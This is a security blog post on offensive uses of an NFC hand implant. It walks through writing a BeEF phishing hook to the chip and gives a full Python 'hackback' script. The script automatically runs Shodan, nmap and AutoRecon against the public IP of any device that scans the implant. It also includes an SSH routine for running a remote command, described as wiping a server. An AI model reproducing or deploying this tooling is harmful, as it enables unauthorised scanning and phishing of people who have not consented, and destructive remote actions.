Hacking with an NFC Implant - Offensive Bio Implants

NFC bio implant killswitch/hackback

Recently I had two NFC implants installed into my hand. I went with the NExT implant which is a dual Low Frequency (T5577 125Khz) + High Frequency (NTAG216 13.56Mhz ISO1443A) implant and an xSIID. I didn’t really need the xSIID but this implant (designed by dsruptive subdermals) has an LED inside along with a High Frequency chip (13.56MHz ISO14443A & NFC Type 2 compliant NTAG I2C) which is really neat. Now there are many legitimate uses for a bio implant such as using it to start a vehicle, opening a safe, access control, business cards and many more but what about potential offensive uses?

NeXT Implant NeXT (LF) ATMEL ATA5577 Datasheet NeXT (HF) NTAG 216 Datasheet xSIID xSIID (HF) NTAG I2C plus Datasheet

The LF side of the chip is essentially useless from an offensive point of view, but what about the HF side? Well with HF NFC chips such as the NTAG216 it is possible to use the NDEF (NFC Data Exchange Format) which is a binary message format to exchange application-defined payloads between NFC devices or store payloads on the tag/chip.

Now initially the first thing that came to mind was to write a BeEF webhook to the implant to execute some BeEF modules against the scanning devices browser (on demand phishing, internal network scanning etc.). The is simple to set up and quite effective with some phones (mostly various Android devices) opening the webhook in the default browser without even a prompt. In most cases actually holding the targets phone would require a bit of social engineering but that’s for you to figure out.

Now that’s interesting and all but what else could be done? Well to add some more granular offensive capability I wrote a quick and dirty python script that works like so:


  1. The script is executed on a server of your choice (I use an AWS EC2 instance), any linux distro with python installed will suffice. Purchase a domain name and point it to your IP (DNS A record). Modify the port in the script and open the port up to allow inbound traffic.
  2. SSH into the server and execute the script within screen or tmux. Kill the SSH session, leaving the script running with tmux.
  3. Using a tool such as the Proxmark3 (if you have one) or otherwise NFC Tools, write an NDEF URI record with the URL like so (modifying the IP, Port and Base64 string as required):


http://IP:PORT/YnVyeW1ld2l0aG15Z3Vuc29uCg==


  1. With the URI written to the NFC implant just scan your chip with any internet connected NFC device to fire the script.


When the nfc_hackback.py script receives a request containing the set base64 string it takes the IP address of the device that read the NFC implant, runs the IP through shodan, executes an nmap scan (modify as required) and finally kicks off AutoRecon. The script also has a function to initiate an SSH connection to a server of your choosing and execute a command (wiping a server etc.).

Execution Flow:

Server listens for request with specified base64 string »»
Implant is read by an NFC Capable device »»
Reading device attempts to access URL over HTTP »»
Server recieves request with specified base64 string »»
Reading device public IP address is obtained »»
Script executes targeting reading device …

For more info feel free to check out my talk on Offensive NFC/RFID at BSides Perth 2021.

There are plenty of other interesting things you can do with a bit of simple scripting For example I modified the skeleton script below to take the reading devices public IP after reading the implant, geolocate the IP address using Mozilla’s geolocation API and post the location to Discord. Essentially if someone was out without a phone they could scan the implant from any NFC capable device and send a location notification to a private Discord channel.


nfc_server_skeleton.py

import socket as s
import threading as t

# Author: Shain Lakin

ip = "0.0.0.0" # change this if you want to listen on a specific interface
port = 11989 # modify as required (remember to set up any required firewall or port forwarding rules)


def main():
    server = s.socket(s.AF_INET, s.SOCK_STREAM)
    server.bind((ip, port))
    server.listen(1)
    print(f'[*] Listening on {ip}:{port}')

    conns = []

    while True:

        global address

        try:
            client, address = server.accept()
            if address[0] not in conns:
                conns.append(address[0])
                print(f'[*] Accepted connection from {address[0]}:{address[1]}')
                client_handler = t.Thread(target=handle_client, args=(client,))
                client_handler.start()
            else:
                client.close()
                
        except Exception as e:
            print(f"[!] Error: {e}")
            pass

def handle_client(client_socket):

    targets = []
    
    try:
        with client_socket as sock:
            request = sock.recv(1024)

        if b"YnVyeW1ld2l0aG15Z3Vuc29uCg==" in request:
            print("[*] Valid Request Received! [*]")
            print(f'[*] Request: \n\n{request.decode("utf-8")}')
            if address[0] not in targets:
                print(f"[*] Executing against: {address[0]}")
                targets.append(address[0])
                
                #############################
                # place function calls here #
                #############################

    except Exception as e:
        print(f"[!] Error: {e}")
        pass

try:
    main()
except KeyboardInterrupt:
    print("\n[!] Exiting ... ")
    exit(0)

nfc_hackback.py

import socket as s
import threading as t
import paramiko as p
import nmap as n
from shodan import Shodan
from autorecon import *

# Author: Shain Lakin

ip = "0.0.0.0"
port = 11989 
remote_ip = "SSH_SERVER_IP"
remote_port = 22
user = "SSH_USER"
cmd = "id"
state = "power on"
api = Shodan('SHODAN_API_KEY')

def main():
    server = s.socket(s.AF_INET, s.SOCK_STREAM)
    server.bind((ip, port))
    server.listen(1)
    print(f'[*] Listening on {ip}:{port}')

    conns = []

    while True:

        global address

        try:
            client, address = server.accept()
            if address[0] not in conns:
                conns.append(address[0])
                print(f'[*] Accepted connection from {address[0]}:{address[1]}')
                client_handler = t.Thread(target=handle_client, args=(client,))
                client_handler.start()
            else:
                client.close()
                
        except Exception as e:
            print(f"[!] Error: {e}")
            pass


def handle_client(client_socket):
    
    targets = []
    
    try:
        with client_socket as sock:
            request = sock.recv(1024)

        if b"YnVyeW1ld2l0aG15Z3Vuc29uCg==" in request:
            print("[*] Valid Request Received! [*]")
            print(f'[*] Request: \n\n{request.decode("utf-8")}')
            if address[0] not in targets:
                print(f"[*] Executing against: {address[0]}")
                targets.append(address[0])
                
                nmap_scanner()
                shodan_scan()
                init_autorecon()
                #server_power()
                #remote_cmd(remote_ip, port, user, key, cmd)

    except Exception as e:
        print(f"[!] Error: {e}")
        pass
        

def remote_cmd(ip, port, user, cmd):
    ssh_client = p.SSHClient()
    ssh_client.set_missing_host_key_policy(p.AutoAddPolicy())
    ssh_client.connect(remote_ip, port=remote_port, username=user)

    _, stdout, stderr = ssh_client.exec_command(cmd)
    output = stdout.readlines() + stderr.readlines()
    try:
        if output:
            print('--- Output ---')
            for line in output:
                print(line.strip())
        else:
            ssh_client.close()
    except p.ssh_exception.SSHException:
        print("[!] Failed to connect")
        ssh_client.close()
        pass
    

def server_power():
    try:
        print("\n[*] Powering on server and wiping drives\n")
        remote_cmd(remote_ip, port, user, state)
    except p.ssh_exception.SSHException:
        print("[!] Failed to connect")
        ssh_client.close()
        pass


def nmap_scanner():
    nm = n.PortScanner()
    nm.scan(address[0], '21,22,80,443,3389,5985', '-Pn')
    print(nm.command_line())
    for host in nm.all_hosts():
        print('----------------------------------------------------')
        print(f'Host : {host} ({nm[host].hostname()})')
        print(f'State : {nm[host].state()}')
        for proto in nm[host].all_protocols():
            print('----------')
            print(f'Protocol : {proto}')

            lport = nm[host][proto].keys()
            for port in lport:
                print(f'port : {port}\tstate : {nm[host][proto][port]["state"]}')


def shodan_scan():
    try:
        api.host(address[0])
    except Shodan.APIError as e:
        print(f'[!] Error >: {e}')
        pass


def init_autorecon():
    targets = [address[0]]
    autorecon.main(targets)


try:
    main()
except KeyboardInterrupt:
    print("\n[!] Exiting ... ")
    exit(0)
******
Written by Shain Lakin on 19 September 2022